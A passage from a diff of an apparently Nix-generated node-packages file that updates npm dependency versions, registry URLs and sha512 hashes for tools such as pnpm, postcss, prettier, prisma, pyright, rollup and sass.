sources."@types/node-20.5.9" sources."@types/normalize-package-data-2.4.4" sources."@types/prop-types-15.7.11" - sources."@types/react-18.2.51" - sources."@types/react-dom-18.2.18" + sources."@types/react-18.2.56" + sources."@types/react-dom-18.2.19" sources."@types/scheduler-0.16.8" - sources."@types/semver-7.5.6" + sources."@types/semver-7.5.7" sources."@typescript-eslint/eslint-plugin-6.0.0" sources."@typescript-eslint/parser-6.0.0" sources."@typescript-eslint/scope-manager-6.0.0" @@ -89634,11 +89837,11 @@ in sources."@typescript-eslint/utils-6.0.0" sources."@typescript-eslint/visitor-keys-6.0.0" sources."@vitejs/plugin-react-4.0.4" - sources."@vue/compiler-core-3.4.15" - sources."@vue/compiler-dom-3.4.15" - sources."@vue/compiler-sfc-3.4.15" - sources."@vue/compiler-ssr-3.4.15" - sources."@vue/shared-3.4.15" + sources."@vue/compiler-core-3.4.19" + sources."@vue/compiler-dom-3.4.19" + sources."@vue/compiler-sfc-3.4.19" + sources."@vue/compiler-ssr-3.4.19" + sources."@vue/shared-3.4.19" sources."acorn-8.11.3" sources."acorn-jsx-5.3.2" sources."acorn-walk-8.3.2" @@ -89649,14 +89852,15 @@ in sources."anymatch-3.1.3" sources."arg-5.0.2" sources."argparse-2.0.1" - sources."array-buffer-byte-length-1.0.0" + sources."array-buffer-byte-length-1.0.1" sources."array-includes-3.1.7" sources."array-union-2.1.0" - sources."array.prototype.findlastindex-1.2.3" + sources."array.prototype.filter-1.0.3" + sources."array.prototype.findlastindex-1.2.4" sources."array.prototype.flat-1.3.2" sources."array.prototype.flatmap-1.3.2" - sources."array.prototype.tosorted-1.1.2" - sources."arraybuffer.prototype.slice-1.0.2" + sources."array.prototype.tosorted-1.1.3" + sources."arraybuffer.prototype.slice-1.0.3" sources."async-2.6.4" sources."asynciterator.prototype-1.0.0" sources."asynckit-0.4.0" @@ -89667,15 +89871,15 @@ in sources."binary-extensions-2.2.0" sources."brace-expansion-1.1.11" sources."braces-3.0.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."buffer-from-1.1.2" sources."builtin-modules-3.3.0" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."callsites-3.1.0" sources."camelcase-css-2.0.1" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."chalk-2.4.2" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."ci-info-3.9.0" sources."clean-regexp-1.0.0" sources."client-only-0.0.1" @@ -89712,7 +89916,7 @@ in sources."csstype-3.1.3" sources."debug-4.3.4" sources."deep-is-0.1.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."delayed-stream-1.0.0" sources."detect-libc-1.0.3" @@ -89722,18 +89926,21 @@ in sources."dlv-1.1.3" sources."doctrine-3.0.0" sources."eastasianwidth-0.2.0" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-9.2.2" sources."entities-4.5.0" sources."errno-0.1.8" sources."error-ex-1.3.2" - sources."es-abstract-1.22.3" - sources."es-iterator-helpers-1.0.15" + sources."es-abstract-1.22.4" + sources."es-array-method-boxes-properly-1.0.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" + sources."es-iterator-helpers-1.0.17" sources."es-set-tostringtag-2.0.2" sources."es-shim-unscopables-1.0.2" sources."es-to-primitive-1.2.1" sources."esbuild-0.18.20" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" (sources."eslint-8.45.0" // { dependencies = [ @@ -89802,7 +90009,7 @@ in sources."fast-glob-3.3.2" sources."fast-json-stable-stringify-2.1.0" sources."fast-levenshtein-2.0.6" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."file-entry-cache-6.0.1" sources."fill-range-7.0.1" sources."find-up-5.0.0" @@ -89819,8 +90026,8 @@ in sources."function.prototype.name-1.1.6" sources."functions-have-names-1.2.3" sources."gensync-1.0.0-beta.2" - sources."get-intrinsic-1.2.2" - sources."get-symbol-description-1.0.0" + sources."get-intrinsic-1.2.4" + sources."get-symbol-description-1.0.2" sources."glob-7.2.3" sources."glob-parent-5.1.2" sources."globals-11.12.0" @@ -89833,11 +90040,11 @@ in sources."has-1.0.4" sources."has-bigints-1.0.2" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."hosted-git-info-2.8.9" sources."iconv-lite-0.6.3" sources."ignore-5.3.1" @@ -89848,8 +90055,8 @@ in sources."indent-string-4.0.0" sources."inflight-1.0.6" sources."inherits-2.0.4" - sources."internal-slot-1.0.6" - sources."is-array-buffer-3.0.2" + sources."internal-slot-1.0.7" + sources."is-array-buffer-3.0.4" sources."is-arrayish-0.2.1" sources."is-async-function-2.0.0" sources."is-bigint-1.0.4" @@ -89874,7 +90081,7 @@ in sources."is-shared-array-buffer-1.0.2" sources."is-string-1.0.7" sources."is-symbol-1.0.4" - sources."is-typed-array-1.1.12" + sources."is-typed-array-1.1.13" sources."is-weakmap-2.0.1" sources."is-weakref-1.0.2" sources."is-weakset-2.0.2" @@ -89909,7 +90116,7 @@ in sources."lodash.merge-4.6.2" sources."loose-envify-1.4.0" sources."lru-cache-6.0.0" - sources."magic-string-0.30.6" + sources."magic-string-0.30.7" (sources."make-dir-2.1.0" // { dependencies = [ sources."pify-4.0.1" @@ -89949,7 +90156,7 @@ in sources."object.assign-4.1.5" sources."object.entries-1.1.7" sources."object.fromentries-2.0.7" - sources."object.groupby-1.0.1" + sources."object.groupby-1.0.2" sources."object.hasown-1.1.3" sources."object.values-1.1.7" sources."once-1.4.0" @@ -89980,12 +90187,12 @@ in sources."debug-3.2.7" ]; }) - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."postcss-import-15.1.0" sources."postcss-js-4.0.1" (sources."postcss-load-config-4.0.2" // { dependencies = [ - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" ]; }) sources."postcss-nested-6.0.1" @@ -90020,9 +90227,9 @@ in ]; }) sources."readdirp-3.6.0" - sources."reflect.getprototypeof-1.0.4" + sources."reflect.getprototypeof-1.0.5" sources."regexp-tree-0.1.27" - sources."regexp.prototype.flags-1.5.1" + sources."regexp.prototype.flags-1.5.2" (sources."regjsparser-0.10.0" // { dependencies = [ sources."jsesc-0.5.0" @@ -90035,17 +90242,17 @@ in sources."rollup-3.29.4" sources."run-parallel-1.2.0" sources."safe-array-concat-1.1.0" - sources."safe-regex-test-1.0.2" + sources."safe-regex-test-1.0.3" sources."safer-buffer-2.1.2" - sources."sass-1.70.0" + sources."sass-1.71.0" sources."sax-1.3.0" sources."scheduler-0.23.0" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-4.1.0" sources."slash-3.0.0" sources."source-map-0.5.7" @@ -90056,9 +90263,9 @@ in ]; }) sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" (sources."string-width-5.1.2" // { dependencies = [ sources."ansi-regex-6.0.1" @@ -90099,7 +90306,7 @@ in sources."glob-parent-6.0.2" ]; }) - (sources."terser-5.27.0" // { + (sources."terser-5.27.1" // { dependencies = [ sources."commander-2.20.3" ]; @@ -90109,7 +90316,7 @@ in sources."thenify-all-1.6.0" sources."to-fast-properties-2.0.0" sources."to-regex-range-5.0.1" - sources."ts-api-utils-1.0.3" + sources."ts-api-utils-1.2.1" sources."ts-interface-checker-0.1.13" (sources."ts-node-10.9.2" // { dependencies = [ @@ -90124,7 +90331,7 @@ in sources."tslib-2.6.2" sources."type-check-0.4.0" sources."type-fest-0.20.2" - sources."typed-array-buffer-1.0.0" + sources."typed-array-buffer-1.0.1" sources."typed-array-byte-length-1.0.0" sources."typed-array-byte-offset-1.0.0" sources."typed-array-length-1.0.4" @@ -90142,7 +90349,7 @@ in sources."which-boxed-primitive-1.0.2" sources."which-builtin-type-1.1.3" sources."which-collection-1.0.1" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" (sources."wrap-ansi-8.1.0" // { dependencies = [ sources."ansi-regex-6.0.1" @@ -90175,10 +90382,10 @@ in pnpm = nodeEnv.buildNodePackage { name = "pnpm"; packageName = "pnpm"; - version = "8.15.1"; + version = "8.15.3"; src = fetchurl { - url = "https://registry.npmjs.org/pnpm/-/pnpm-8.15.1.tgz"; - sha512 = "gxz0xfi4N0r3FSHU0VPbSdcIbeYVwq98tenX64umMN2sRv6kldZD5VLvLmijqpmj5en77oaWcClnUE31xZyycw=="; + url = "https://registry.npmjs.org/pnpm/-/pnpm-8.15.3.tgz"; + sha512 = "3YXNbspkF8b3PbMroetHZ/+0y6T1vwcnhGciyStrnlaizCGLEThbvCsh8YoWpn2nes6um2Gg9WoWQ7JeH7amBQ=="; }; buildInputs = globalBuildInputs; meta = { @@ -90221,10 +90428,10 @@ in postcss = nodeEnv.buildNodePackage { name = "postcss"; packageName = "postcss"; - version = "8.4.33"; + version = "8.4.35"; src = fetchurl { - url = "https://registry.npmjs.org/postcss/-/postcss-8.4.33.tgz"; - sha512 = "Kkpbhhdjw2qQs2O2DGX+8m5OVqEcbB9HRBvuYM9pgrjEFUg30A9LmXNlTAUj4S9kgtGyrMbTzVjH7E+s5Re2yg=="; + url = "https://registry.npmjs.org/postcss/-/postcss-8.4.35.tgz"; + sha512 = "u5U8qYpBCpN13BsiEB0CbR1Hhh4Gc0zLFuedrHJKMctHCHAGrMdG0PRM/KErzAL3CU6/eckEtmHNB3x6e3c0vA=="; }; dependencies = [ sources."nanoid-3.3.7" @@ -90253,28 +90460,27 @@ in sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" - sources."@sindresorhus/merge-streams-1.0.0" + sources."@sindresorhus/merge-streams-2.2.1" sources."ansi-regex-5.0.1" sources."ansi-styles-4.3.0" sources."anymatch-3.1.3" sources."binary-extensions-2.2.0" sources."braces-3.0.2" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."cliui-8.0.1" sources."color-convert-2.0.1" sources."color-name-1.1.4" sources."dependency-graph-0.11.0" sources."emoji-regex-8.0.0" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."fast-glob-3.3.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."fs-extra-11.2.0" - sources."fsevents-2.3.3" sources."get-caller-file-2.0.5" sources."get-stdin-9.0.0" sources."glob-parent-5.1.2" - sources."globby-14.0.0" + sources."globby-14.0.1" sources."graceful-fs-4.2.11" sources."ignore-5.3.1" sources."is-binary-path-2.1.0" @@ -90284,7 +90490,7 @@ in sources."is-number-7.0.0" sources."jiti-1.21.0" sources."jsonfile-6.1.0" - sources."lilconfig-3.0.0" + sources."lilconfig-3.1.0" sources."merge2-1.4.1" sources."micromatch-4.0.5" sources."nanoid-3.3.7" @@ -90293,8 +90499,8 @@ in sources."picocolors-1.0.0" sources."picomatch-2.3.1" sources."pify-2.3.0" - sources."postcss-8.4.33" - sources."postcss-load-config-5.0.2" + sources."postcss-8.4.35" + sources."postcss-load-config-5.0.3" sources."postcss-reporter-7.1.0" sources."pretty-hrtime-1.0.3" sources."queue-microtask-1.2.3" @@ -90361,7 +90567,7 @@ in sources."rc-1.2.8" sources."readable-stream-3.6.2" sources."safe-buffer-5.2.1" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."simple-concat-1.0.1" sources."simple-get-4.0.1" sources."string_decoder-1.3.0" @@ -90386,10 +90592,10 @@ in prettier = nodeEnv.buildNodePackage { name = "prettier"; packageName = "prettier"; - version = "3.2.4"; + version = "3.2.5"; src = fetchurl { - url = "https://registry.npmjs.org/prettier/-/prettier-3.2.4.tgz"; - sha512 = "FWu1oLHKCrtpO1ypU6J0SbK2d9Ckwysq6bHj/uaCP26DxrPpppCLQRGVuqAxSTvhF00AcvDRyYrLNW7ocBhFFQ=="; + url = "https://registry.npmjs.org/prettier/-/prettier-3.2.5.tgz"; + sha512 = "3/GWa9aOC0YeD7LUfvOG2NiDyhOWRvt1k+rcKhOuYnMY24iiCphgneUfJDyFXd6rZCAnuLBv6UeAULtrhT/F4A=="; }; buildInputs = globalBuildInputs; meta = { @@ -90412,7 +90618,7 @@ in dependencies = [ sources."@taplo/core-0.1.1" sources."@taplo/lib-0.4.0-alpha.2" - sources."prettier-3.2.4" + sources."prettier-3.2.5" ]; buildInputs = globalBuildInputs; meta = { @@ -90427,17 +90633,17 @@ in prisma = nodeEnv.buildNodePackage { name = "prisma"; packageName = "prisma"; - version = "5.9.0"; + version = "5.9.1"; src = fetchurl { - url = "https://registry.npmjs.org/prisma/-/prisma-5.9.0.tgz"; - sha512 = "0UcOofjNuAnd227JMaPqZvP01dsUXw9EXB9iC8fyoZtfv7zkQ0ozxyjY1g+vcjFPOnNLICMnLHx+lM5BJZYqOQ=="; + url = "https://registry.npmjs.org/prisma/-/prisma-5.9.1.tgz"; + sha512 = "Hy/8KJZz0ELtkw4FnG9MS9rNWlXcJhf98Z2QMqi0QiVMoS8PzsBkpla0/Y5hTlob8F3HeECYphBjqmBxrluUrQ=="; }; dependencies = [ - sources."@prisma/debug-5.9.0" - sources."@prisma/engines-5.9.0" + sources."@prisma/debug-5.9.1" + sources."@prisma/engines-5.9.1" sources."@prisma/engines-version-5.9.0-32.23fdc5965b1e05fc54e5f26ed3de66776b93de64" - sources."@prisma/fetch-engine-5.9.0" - sources."@prisma/get-platform-5.9.0" + sources."@prisma/fetch-engine-5.9.1" + sources."@prisma/get-platform-5.9.1" ]; buildInputs = globalBuildInputs; meta = { @@ -90452,10 +90658,10 @@ in "@prisma/language-server" = nodeEnv.buildNodePackage { name = "_at_prisma_slash_language-server"; packageName = "@prisma/language-server"; - version = "5.9.0"; + version = "5.9.1"; src = fetchurl { - url = "https://registry.npmjs.org/@prisma/language-server/-/language-server-5.9.0.tgz"; - sha512 = "W/zhuL2yGubqJjZt23vX5Sw8apyI+YuRlO+KJFmVTooBL9zmVAlQ9KMAgz49xalGviQMjRECCv+ZyUmLJ0PVXg=="; + url = "https://registry.npmjs.org/@prisma/language-server/-/language-server-5.9.1.tgz"; + sha512 = "T6wq87g0l5jTSMTLKHkJG0tJ7Cv7nY9bX97QunaSKLQ6/2HefSYI+7w713/RDtGft1BADookWt4uLtjVGPV7YQ=="; }; dependencies = [ sources."@ampproject/remapping-2.2.1" @@ -90487,7 +90693,7 @@ in sources."@istanbuljs/load-nyc-config-1.1.0" sources."@istanbuljs/schema-0.1.3" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -90501,10 +90707,10 @@ in sources."argparse-1.0.10" sources."balanced-match-1.0.2" sources."brace-expansion-1.1.11" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."caching-transform-4.0.0" sources."camelcase-5.3.1" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."chalk-2.4.2" sources."clean-stack-2.2.0" sources."cliui-6.0.0" @@ -90517,10 +90723,10 @@ in sources."debug-4.3.4" sources."decamelize-1.2.0" sources."default-require-extensions-3.0.1" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-8.0.0" sources."es6-error-4.1.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."esprima-4.0.1" sources."find-cache-dir-3.3.2" @@ -90555,7 +90761,7 @@ in sources."has-flag-4.0.0" sources."lru-cache-6.0.0" sources."make-dir-4.0.0" - sources."semver-7.5.4" + sources."semver-7.6.0" sources."supports-color-7.2.0" sources."yallist-4.0.0" ]; @@ -90792,7 +90998,7 @@ in sources."buffer-xor-1.0.3" sources."builtin-status-codes-3.0.0" sources."cached-path-relative-1.1.0" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."cipher-base-1.0.4" sources."colors-1.4.0" sources."combine-source-map-0.8.0" @@ -90815,7 +91021,7 @@ in sources."create-hmac-1.1.7" sources."crypto-browserify-3.12.0" sources."dash-ast-1.0.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."defined-1.0.1" sources."deps-sort-2.0.1" @@ -90833,6 +91039,8 @@ in sources."bn.js-4.12.0" ]; }) + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es6-promise-3.3.1" sources."events-2.1.0" sources."evp_bytestokey-1.0.3" @@ -90841,7 +91049,7 @@ in sources."function-bind-1.1.2" sources."gaze-1.1.3" sources."get-assigned-identifiers-1.2.0" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" (sources."glob-7.2.3" // { dependencies = [ sources."minimatch-3.1.2" @@ -90855,7 +91063,7 @@ in sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."has-1.0.4" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" (sources."hash-base-3.1.0" // { @@ -90864,7 +91072,7 @@ in ]; }) sources."hash.js-1.1.7" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hmac-drbg-1.0.1" sources."htmlescape-1.1.1" sources."https-browserify-1.0.0" @@ -90957,12 +91165,12 @@ in sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" sources."sander-0.5.1" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."sha.js-2.4.11" sources."shasum-1.0.2" sources."shasum-object-1.0.0" sources."shell-quote-1.8.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."simple-concat-1.0.1" sources."sorcery-0.10.0" sources."source-map-0.5.7" @@ -91018,10 +91226,10 @@ in purescript-language-server = nodeEnv.buildNodePackage { name = "purescript-language-server"; packageName = "purescript-language-server"; - version = "0.17.3"; + version = "0.18.0"; src = fetchurl { - url = "https://registry.npmjs.org/purescript-language-server/-/purescript-language-server-0.17.3.tgz"; - sha512 = "d/1bf7YTtOu7l1Vw5ST++VlS6F27BFVHEz4v5yfVoANlNrknOprWqdztNG95AENn+7KAutTuo07lRR9jGLCEgg=="; + url = "https://registry.npmjs.org/purescript-language-server/-/purescript-language-server-0.18.0.tgz"; + sha512 = "MKvOcaoAJmk6PXFVRl95aVUZdHo/d+eqHa2Oj3Zrc86xndZfB507hY4eFvHwr7nCDMDVXqnOTW9Lv8JdLnbGrw=="; }; dependencies = [ sources."isexe-2.0.0" @@ -91106,10 +91314,10 @@ in pyright = nodeEnv.buildNodePackage { name = "pyright"; packageName = "pyright"; - version = "1.1.349"; + version = "1.1.350"; src = fetchurl { - url = "https://registry.npmjs.org/pyright/-/pyright-1.1.349.tgz"; - sha512 = "AIS2OuIPSifLGeeIlM9NihSdHSCheT7eXPdKnVxIwTvuOXwOX75oQS7xsW1PK+Tkc+S5SzvXeCwPChbjXd+Ztg=="; + url = "https://registry.npmjs.org/pyright/-/pyright-1.1.350.tgz"; + sha512 = "9AMEsPGFzyYzwYCU3QuTUk/AEfVO3hlKtvF0kybBnwGiFuYsmwx02/Hlra7ROX+jtmDStL8qiHCPoYy0rCz/uA=="; }; buildInputs = globalBuildInputs; meta = { @@ -91131,7 +91339,7 @@ in }; dependencies = [ sources."@types/prop-types-15.7.11" - sources."@types/react-18.2.51" + sources."@types/react-18.2.56" sources."@types/scheduler-0.16.8" sources."@types/yoga-layout-1.9.2" sources."ansi-escapes-4.3.2" @@ -91165,7 +91373,7 @@ in sources."function-bind-1.1.2" sources."graceful-fs-4.2.11" sources."has-flag-4.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-2.8.9" sources."indent-string-3.2.0" sources."ink-2.7.1" @@ -91233,9 +91441,9 @@ in sources."signal-exit-3.0.7" sources."slice-ansi-3.0.0" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" (sources."string-length-3.1.0" // { dependencies = [ sources."ansi-regex-4.1.1" @@ -91353,10 +91561,10 @@ in rollup = nodeEnv.buildNodePackage { name = "rollup"; packageName = "rollup"; - version = "4.9.6"; + version = "4.12.0"; src = fetchurl { - url = "https://registry.npmjs.org/rollup/-/rollup-4.9.6.tgz"; - sha512 = "05lzkCS2uASX0CiLFybYfVkwNbKZG5NFQ6Go0VWyogFTXXbR039UVsegViTntkk4OglHBdF54ccApXRRuXRbsg=="; + url = "https://registry.npmjs.org/rollup/-/rollup-4.12.0.tgz"; + sha512 = "wz66wn4t1OHIJw3+XU7mJJQV/2NAfw5OAk6G6Hoo3zcvz/XOfQ52Vgi+AN4Uxoxi0KBBwk2g8zPrTDA4btSB/Q=="; }; dependencies = [ sources."@types/estree-1.0.5" @@ -91374,7 +91582,7 @@ in "rust-analyzer-build-deps-../../applications/editors/vscode/extensions/rust-lang.rust-analyzer/build-deps" = nodeEnv.buildNodePackage { name = "rust-analyzer"; packageName = "rust-analyzer"; - version = "0.3.1697"; + version = "0.3.1850"; src = ../../applications/editors/vscode/extensions/rust-lang.rust-analyzer/build-deps; dependencies = [ sources."@aashutoshrathi/word-wrap-1.2.6" @@ -91388,7 +91596,7 @@ in ]; }) sources."@eslint/js-8.56.0" - sources."@hpcc-js/wasm-2.15.3" + sources."@hpcc-js/wasm-2.16.0" (sources."@humanwhocodes/config-array-0.11.14" // { dependencies = [ sources."brace-expansion-1.1.11" @@ -91401,23 +91609,23 @@ in sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" sources."@tootallnate/once-1.1.2" - sources."@tsconfig/strictest-2.0.2" + sources."@tsconfig/strictest-2.0.3" sources."@types/json-schema-7.0.15" sources."@types/node-16.11.68" - sources."@types/semver-7.5.6" - sources."@types/vscode-1.75.1" - sources."@typescript-eslint/eslint-plugin-6.20.0" - sources."@typescript-eslint/parser-6.20.0" - sources."@typescript-eslint/scope-manager-6.20.0" - sources."@typescript-eslint/type-utils-6.20.0" - sources."@typescript-eslint/types-6.20.0" - (sources."@typescript-eslint/typescript-estree-6.20.0" // { + sources."@types/semver-7.5.7" + sources."@types/vscode-1.78.1" + sources."@typescript-eslint/eslint-plugin-6.21.0" + sources."@typescript-eslint/parser-6.21.0" + sources."@typescript-eslint/scope-manager-6.21.0" + sources."@typescript-eslint/type-utils-6.21.0" + sources."@typescript-eslint/types-6.21.0" + (sources."@typescript-eslint/typescript-estree-6.21.0" // { dependencies = [ sources."minimatch-9.0.3" ]; }) - sources."@typescript-eslint/utils-6.20.0" - sources."@typescript-eslint/visitor-keys-6.20.0" + sources."@typescript-eslint/utils-6.21.0" + sources."@typescript-eslint/visitor-keys-6.21.0" sources."@ungap/structured-clone-1.2.0" sources."@vscode/test-electron-2.3.9" (sources."@vscode/vsce-2.23.0" // { @@ -91449,7 +91657,7 @@ in sources."braces-3.0.2" sources."buffer-5.7.1" sources."buffer-crc32-0.2.13" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."callsites-3.1.0" (sources."chalk-2.4.2" // { dependencies = [ @@ -91487,7 +91695,7 @@ in sources."d3-force-3.0.0" sources."d3-format-3.1.0" sources."d3-geo-3.1.0" - sources."d3-graphviz-5.2.0" + sources."d3-graphviz-5.3.0" sources."d3-hierarchy-3.1.2" sources."d3-interpolate-3.0.1" sources."d3-path-3.1.0" @@ -91507,7 +91715,7 @@ in sources."decompress-response-6.0.0" sources."deep-extend-0.6.0" sources."deep-is-0.1.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delaunator-5.0.1" sources."detect-libc-2.0.2" sources."dir-glob-3.0.1" @@ -91519,7 +91727,9 @@ in sources."emoji-regex-8.0.0" sources."end-of-stream-1.4.4" sources."entities-4.5.0" - sources."escalade-3.1.1" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" (sources."eslint-8.56.0" // { dependencies = [ @@ -91545,7 +91755,7 @@ in sources."fast-glob-3.3.2" sources."fast-json-stable-stringify-2.1.0" sources."fast-levenshtein-2.0.6" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fd-slicer-1.1.0" sources."file-entry-cache-6.0.1" sources."fill-range-7.0.1" @@ -91558,7 +91768,7 @@ in sources."fs.realpath-1.0.0" sources."function-bind-1.1.2" sources."get-caller-file-2.0.5" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."github-from-package-0.0.0" (sources."glob-7.2.3" // { dependencies = [ @@ -91572,10 +91782,10 @@ in sources."gopd-1.0.1" sources."graphemer-1.4.0" sources."has-flag-3.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."hosted-git-info-4.1.0" sources."htmlparser2-8.0.2" sources."http-proxy-agent-4.0.1" @@ -91660,7 +91870,7 @@ in sources."picomatch-2.3.1" sources."prebuild-install-7.1.1" sources."prelude-ls-1.2.1" - sources."prettier-3.2.4" + sources."prettier-3.2.5" sources."process-nextick-args-2.0.1" sources."pump-3.0.0" sources."punycode-2.3.1" @@ -91679,12 +91889,12 @@ in sources."safe-buffer-5.1.2" sources."safer-buffer-2.1.2" sources."sax-1.3.0" - sources."semver-7.5.4" - sources."set-function-length-1.2.0" + sources."semver-7.6.0" + sources."set-function-length-1.2.1" sources."setimmediate-1.0.5" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."simple-concat-1.0.1" sources."simple-get-4.0.1" sources."slash-3.0.0" @@ -91702,7 +91912,7 @@ in sources."text-table-0.2.0" sources."tmp-0.2.1" sources."to-regex-range-5.0.1" - sources."ts-api-utils-1.0.3" + sources."ts-api-utils-1.2.1" sources."tslib-2.6.2" sources."tunnel-0.0.6" sources."tunnel-agent-0.6.0" @@ -91742,18 +91952,17 @@ in sass = nodeEnv.buildNodePackage { name = "sass"; packageName = "sass"; - version = "1.70.0"; + version = "1.71.0"; src = fetchurl { - url = "https://registry.npmjs.org/sass/-/sass-1.70.0.tgz"; - sha512 = "uUxNQ3zAHeAx5nRFskBnrWzDUJrrvpCPD5FNAoRvTi0WwremlheES3tg+56PaVtCs5QDRX5CBLxxKMDJMEa1WQ=="; + url = "https://registry.npmjs.org/sass/-/sass-1.71.0.tgz"; + sha512 = "HKKIKf49Vkxlrav3F/w6qRuPcmImGVbIXJ2I3Kg0VMA+3Bav+8yE9G5XmP5lMj6nl4OlqbPftGAscNaNu28b8w=="; }; dependencies = [ sources."anymatch-3.1.3" sources."binary-extensions-2.2.0" sources."braces-3.0.2" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."fill-range-7.0.1" - sources."fsevents-2.3.3" sources."glob-parent-5.1.2" sources."immutable-4.3.5" sources."is-binary-path-2.1.0" @@ -91779,10 +91988,10 @@ in semver = nodeEnv.buildNodePackage { name = "semver"; packageName = "semver"; - version = "7.5.4"; + version = "7.6.0"; src = fetchurl { - url = "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz"; - sha512 = "1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA=="; + url = "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz"; + sha512 = "EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg=="; }; dependencies = [ sources."lru-cache-6.0.0" @@ -91955,7 +92164,7 @@ in sources."blob-0.0.2" sources."body-parser-1.20.1" sources."bytes-3.1.2" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."callsite-1.0.0" sources."caseless-0.12.0" sources."cheerio-0.17.0" @@ -91971,7 +92180,7 @@ in sources."core-util-is-1.0.3" sources."dashdash-1.14.1" sources."debug-2.6.9" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."delayed-stream-1.0.0" sources."depd-2.0.0" sources."destroy-1.2.0" @@ -92000,6 +92209,8 @@ in }) sources."engine.io-parser-1.0.6" sources."entities-1.1.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-html-1.0.3" sources."etag-1.8.1" sources."event-stream-3.3.5" @@ -92015,7 +92226,7 @@ in sources."fresh-0.5.2" sources."from-0.1.7" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."getpass-0.1.7" sources."global-https://github.com/component/global/archive/v2.0.1.tar.gz" sources."gopd-1.0.1" @@ -92023,10 +92234,10 @@ in sources."har-validator-5.1.5" sources."has-binary-data-0.1.1" sources."has-cors-1.0.3" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + 